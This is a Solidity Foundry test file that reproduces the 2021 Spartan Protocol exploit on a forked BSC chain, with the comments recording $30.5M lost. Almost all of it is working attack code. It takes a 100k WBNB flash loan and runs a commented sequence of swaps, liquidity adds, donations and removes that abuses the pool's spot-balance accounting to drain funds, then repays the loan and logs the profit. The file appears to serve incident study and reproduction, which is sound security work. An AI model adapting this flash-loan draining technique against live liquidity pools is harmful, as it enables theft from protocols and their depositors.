src/test/2021-05/Spartan_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.17;
3 
4import "forge-std/Test.sol";
5 
6// @KeyInfo - Total Lost: $30.5M
7// Attacker: 0x3b6e77722e2bbe97c1cfa337b42c0939aeb83671
8// Attack Contract: 0x288315639c1145f523af6d7a5e4ccf8238cd6a51
9// Vulnerable Contract: 0x3de669c4f1f167a8afbc9993e4753b84b576426f
10// Attack Tx: https://explorer.phalcon.xyz/tx/bsc/0xb64ae25b0d836c25d115a9368319902c972a0215bd108ae17b1b9617dfb93af8?line=0
11 
12// @Analyses
13// https://medium.com/amber-group/exploiting-spartan-protocols-lp-share-calculation-flaws-391437855e74
14// https://rekt.news/spartan-rekt/
15 
16contract Exploit is Test {
17    IWBNB private constant WBNB = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
18    IERC20 private constant SPARTA = IERC20(0xE4Ae305ebE1AbE663f261Bc00534067C80ad677C);
19 
20    IUniswapV2Pair private constant CAKE_WBNB = IUniswapV2Pair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);
21 
22    ISpartanPool private constant SPT1_WBNB = ISpartanPool(0x3de669c4F1f167a8aFBc9993E4753b84b576426f); // SPARTAN<>WBNB
23 
24    function setUp() public {
25        vm.createSelectFork("bsc", 7_048_832);
26    }
27 
28    function testExploit() public {
29        CAKE_WBNB.swap(0, 100_000 ether, address(this), "flashloan 100k WBNB");
30    }
31 
32    function pancakeCall(address, uint256, uint256 amount1, bytes calldata) external {
33        // 1: swap WBNB for SPARTA 5 times
34        for (uint256 i; i < 4; ++i) {
35            WBNB.transfer(address(SPT1_WBNB), 1913.17 ether);
36            SPT1_WBNB.swapTo(address(SPARTA), address(this));
37        }
38 
39        // 2: addLiquidity SPARTA<>WBNB, get LP tokens
40        SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2536613.206101067206978364
41        WBNB.transfer(address(SPT1_WBNB), 11_853.33 ether);
42        SPT1_WBNB.addLiquidity();
43 
44        // 3: swap WBNB for SPARTA 10 times (more in this step for less slippage)
45        for (uint256 i; i < 9; ++i) {
46            WBNB.transfer(address(SPT1_WBNB), 1674.02 ether);
47            SPT1_WBNB.swapTo(address(SPARTA), address(this));
48        }
49 
50        // 4: donate WBNB + SPARTAN to the pool
51        SPARTA.transfer(address(SPT1_WBNB), SPARTA.balanceOf(address(this))); // 2639121.977427448690750716
52        WBNB.transfer(address(SPT1_WBNB), 21_632.14 ether);
53 
54        // 5: removeLiquidity from step 2. Since the pool uses spot balanceOf() to calculate withdraw amounts, we can withdraw more assets than normal
55        SPT1_WBNB.transfer(address(SPT1_WBNB), SPT1_WBNB.balanceOf(address(this))); // transfer LP tokens into the pool
56        SPT1_WBNB.removeLiquidity(); // important: removeLiquidity() doesn't sync all spot balances into reserves
57 
58        // 6: immediately addLiquidity to "recover" donated tokens in step 4
59        SPT1_WBNB.addLiquidity();
60 
61        // 7: removeLiquidity again to get all assets (with exploited profits) out
62        IERC20(address(SPT1_WBNB)).transfer(address(SPT1_WBNB), IERC20(address(SPT1_WBNB)).balanceOf(address(this)));
63        SPT1_WBNB.removeLiquidity();
64 
65        // 8: swap SPARTA back to WBNB
66        uint256 swapAmount = SPARTA.balanceOf(address(this)) / 10;
67        for (uint256 i; i < 9; ++i) {
68            SPARTA.transfer(address(SPT1_WBNB), swapAmount);
69            SPT1_WBNB.swapTo(address(WBNB), address(this));
70        }
71 
72        // Repeat step 1 -> 8 to fully drain the pool. ~8 times in total
73 
74        // repay
75        WBNB.transfer(address(CAKE_WBNB), amount1 * 1000 / 997);
76 
77        console.log("%s WBNB profit", WBNB.balanceOf(address(this)) / 1e18);
78    }
79}
80 
81/* ---------------------- Interface ---------------------- */
82interface ISpartanPool {
83    function swapTo(address token, address member) external payable returns (uint256 outputAmount, uint256 fee);
84    function addLiquidity() external returns (uint256 liquidityUnits);
85    function removeLiquidity() external returns (uint256 outputBase, uint256 outputToken);
86 
87    function transfer(address to, uint256 amount) external returns (bool);
88    function balanceOf(
89        address account
90    ) external view returns (uint256);
91}
92 
93interface IERC20 {
94    function transfer(address to, uint256 amount) external returns (bool);
95    function approve(address spender, uint256 amount) external returns (bool);
96    function balanceOf(
97        address account
98    ) external view returns (uint256);
99    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
100}
101 
102interface IWBNB {
103    function deposit() external payable;
104    function transfer(address to, uint256 value) external returns (bool);
105    function approve(address guy, uint256 wad) external returns (bool);
106    function withdraw(
107        uint256 wad
108    ) external;
109    function balanceOf(
110        address
111    ) external view returns (uint256);
112}
113 
114interface IUniswapV2Pair {
115    function balanceOf(
116        address
117    ) external view returns (uint256);
118    function skim(
119        address to
120    ) external;
121    function sync() external;
122    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;
123}